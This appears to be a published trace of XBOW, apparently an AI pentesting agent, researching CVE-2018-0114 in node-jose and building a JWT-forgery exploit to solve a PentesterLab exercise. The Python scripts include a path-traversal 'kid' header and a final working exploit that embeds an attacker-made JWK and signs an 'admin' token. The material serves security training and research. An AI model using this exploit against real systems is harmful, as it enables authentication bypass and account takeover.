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XBOW Trace: Researching and Implementing an Exploit for a node-jose Vulnerability

Faced with the task of exploiting CVE-2018-0114 in node-jose , XBOW combs through reams of GitHub issues and then uses what it learns to craft a custom proof-of-concept exploit to solve an exercise from PentesterLab rated "Hard" .

Trace Details

Given our findings about the JWT structure and the use of RS256 algorithm with a key ID, our next step should be to attempt to exploit the vulnerability in node-jose. The challenge description mentions CVE-2018-0114, which is related to a vulnerability in the key parsing of node-jose. We should try to craft a malicious JWT that takes advantage of this vulnerability, potentially allowing us to impersonate the admin user.

$ cat trace/researching-and-implementing-an-exploit-for-a-node-jose-vulnerability/18.python

import base64
import json

# Function to encode a dictionary to base64url
def encode_dict_to_base64url(data):
    json_str = json.dumps(data, separators=(',', ':'))
    return base64.urlsafe_b64encode(json_str.encode()).rstrip(b'=').decode()

# Craft a malicious header
header = {
    "alg": "RS256",
    "kid": "../../../../public/key"  # Path traversal attempt
}

# Create a payload claiming to be admin
payload = "admin"

# Encode header and payload
encoded_header = encode_dict_to_base64url(header)
encoded_payload = base64.urlsafe_b64encode(payload.encode()).rstrip(b'=').decode()

# Create the malicious JWT (without a valid signature)
malicious_jwt = f"{encoded_header}.{encoded_payload}.signature"

print("Malicious JWT:", malicious_jwt)

# Now, let's try to use this JWT to login
import requests

url = "http://web:8000/login"
cookies = {"auth": malicious_jwt}

response = requests.get(url, cookies=cookies)

print("\nResponse status code:", response.status_code)
print("Response headers:")
for key, value in response.headers.items():
    print(f"{key}: {value}")
print("\nResponse content:")
print(response.text)

Based on our current knowledge and attempts, we've identified that the application is vulnerable to CVE-2018-0114 affecting the node-jose library. However, our attempts to exploit this vulnerability by manipulating the JWT header have not been successful so far. We've tried various JWK structures and payload combinations, but all resulted in 500 Internal Server Errors. Given that we're dealing with a specific vulnerability (CVE-2018-0114), our next significant step should be to research this vulnerability in more detail and attempt to craft a more precise exploit. We need to understand the exact conditions that trigger the vulnerability in the node-jose library and how we can leverage it to bypass the signature verification.

$ cat trace/researching-and-implementing-an-exploit-for-a-node-jose-vulnerability/53.bash

$ curl -s https://nvd.nist.gov/vuln/detail/CVE-2018-0114 | grep -A 5 "Vulnerability Description"

Since the NVD website didn't provide the information we need, let's try to find details about CVE-2018-0114 from other reliable sources. GitHub repositories often contain detailed information about vulnerabilities, including proof-of-concept exploits. Let's search for a GitHub repository that might have information about this specific CVE.

$ cat trace/researching-and-implementing-an-exploit-for-a-node-jose-vulnerability/57.bash

$ curl -s https://api.github.com/search/repositories?q=CVE-2018-0114 | jq '.items[] | {name: .name, description: .description, url: .html_url}'

Given that our previous attempts to find specific information about CVE-2018-0114 have been unsuccessful, we need to take a step back and look for more general information about JWT vulnerabilities in node-jose. We should search for any known vulnerabilities or security issues related to node-jose and JWT handling. This might give us insights into how we can craft our exploit.

$ cat trace/researching-and-implementing-an-exploit-for-a-node-jose-vulnerability/66.bash

$ curl -s "https://api.github.com/search/issues?q=node-jose+jwt+vulnerability" | jq '.items[] | {title: .title, url: .html_url, body: .body}'

Based on our research, we now have a better understanding of CVE-2018-0114 and how it affects node-jose. The vulnerability allows an attacker to forge valid JWTs by manipulating the header to include a JWK (JSON Web Key) of their choosing. To exploit this, we need to craft a JWT with a custom header that includes a JWK we control, along with a payload claiming admin privileges. Let's create a Python script to generate such a JWT and attempt to use it against our target application.

$ cat trace/researching-and-implementing-an-exploit-for-a-node-jose-vulnerability/69.python

import base64
import json
import requests
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

def encode_dict_to_base64url(data):
    json_str = json.dumps(data, separators=(',', ':'))
    return base64.urlsafe_b64encode(json_str.encode()).rstrip(b'=').decode()

# Generate RSA key pair
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048
)
public_key = private_key.public_key()

# Extract public key components
public_numbers = public_key.public_numbers()
n = public_numbers.n
e = public_numbers.e

# Create JWK from public key
jwk = {
    "kty": "RSA",
    "e": base64.urlsafe_b64encode(e.to_bytes((e.bit_length() + 7) // 8, byteorder='big')).decode('utf-8').rstrip('='),
    "n": base64.urlsafe_b64encode(n.to_bytes((n.bit_length() + 7) // 8, byteorder='big')).decode('utf-8').rstrip('='),
    "kid": "attacker-key"
}

# Craft malicious header
header = {
    "alg": "RS256",
    "jwk": jwk
}

# Create payload claiming to be admin
payload = "admin"

# Encode header and payload
encoded_header = encode_dict_to_base64url(header)
encoded_payload = base64.urlsafe_b64encode(payload.encode()).rstrip(b'=').decode()

# Create the malicious JWT (without a valid signature for now)
malicious_jwt = f"{encoded_header}.{encoded_payload}.invalid_signature"

print("Malicious JWT:", malicious_jwt)

# Try to use this JWT on the root endpoint
url = "http://web:8000/"
cookies = {"auth": malicious_jwt}

response = requests.get(url, cookies=cookies)

print("\nResponse status code:", response.status_code)
print("Response headers:")
for key, value in response.headers.items():
    print(f"{key}: {value}")
print("\nResponse content:")
print(response.text)

# Check if we're logged in as admin
if "Welcome admin" in response.text:
    print("\nSuccess! We're logged in as admin.")
else:
    print("\nWe're not logged in as admin yet. Further refinement may be needed.")

Our previous attempt to exploit the vulnerability was unsuccessful, likely due to an invalid signature. To properly exploit CVE-2018-0114, we need to create a valid signature using the private key corresponding to the public key we embedded in the JWT header. This should allow us to create a forged JWT that the vulnerable node-jose library will accept as valid.

$ cat trace/researching-and-implementing-an-exploit-for-a-node-jose-vulnerability/72.python

import base64
import json
import requests
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives import serialization

def encode_dict_to_base64url(data):
    json_str = json.dumps(data, separators=(',', ':'))
    return base64.urlsafe_b64encode(json_str.encode()).rstrip(b'=').decode()

# Generate RSA key pair
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048
)
public_key = private_key.public_key()

# Extract public key components
public_numbers = public_key.public_numbers()
n = public_numbers.n
e = public_numbers.e

# Create JWK from public key
jwk = {
    "kty": "RSA",
    "e": base64.urlsafe_b64encode(e.to_bytes((e.bit_length() + 7) // 8, byteorder='big')).decode('utf-8').rstrip('='),
    "n": base64.urlsafe_b64encode(n.to_bytes((n.bit_length() + 7) // 8, byteorder='big')).decode('utf-8').rstrip('='),
    "kid": "attacker-key"
}

# Craft malicious header
header = {
    "alg": "RS256",
    "jwk": jwk
}

# Create payload claiming to be admin
payload = "admin"

# Encode header and payload
encoded_header = encode_dict_to_base64url(header)
encoded_payload = base64.urlsafe_b64encode(payload.encode()).rstrip(b'=').decode()

# Create the message to be signed
message = f"{encoded_header}.{encoded_payload}".encode()

# Sign the message
signature = private_key.sign(
    message,
    padding.PKCS1v15(),
    hashes.SHA256()
)

# Encode the signature
encoded_signature = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()

# Create the complete JWT
malicious_jwt = f"{encoded_header}.{encoded_payload}.{encoded_signature}"

print("Malicious JWT:", malicious_jwt)

# Try to use this JWT on the root endpoint
url = "http://web:8000/"
cookies = {"auth": malicious_jwt}

response = requests.get(url, cookies=cookies)

print("\nResponse status code:", response.status_code)
print("Response headers:")
for key, value in response.headers.items():
    print(f"{key}: {value}")
print("\nResponse content:")
print(response.text)

# Check if we're logged in as admin
if "Welcome admin" in response.text:
    print("\nSuccess! We're logged in as admin.")
else:
    print("\nWe're not logged in as admin yet. Further refinement may be needed.")

Researching and Implementing an Exploit for a node-jose Vulnerability

Faced with the task of exploiting CVE-2018-0114 in node-jose , XBOW combs through reams of GitHub issues and then uses what it learns to craft a custom proof-of-concept exploit to solve an exercise from PentesterLab rated "Hard" .